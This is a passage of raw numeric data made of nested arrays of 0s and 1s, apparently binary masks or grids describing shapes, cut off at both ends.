,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,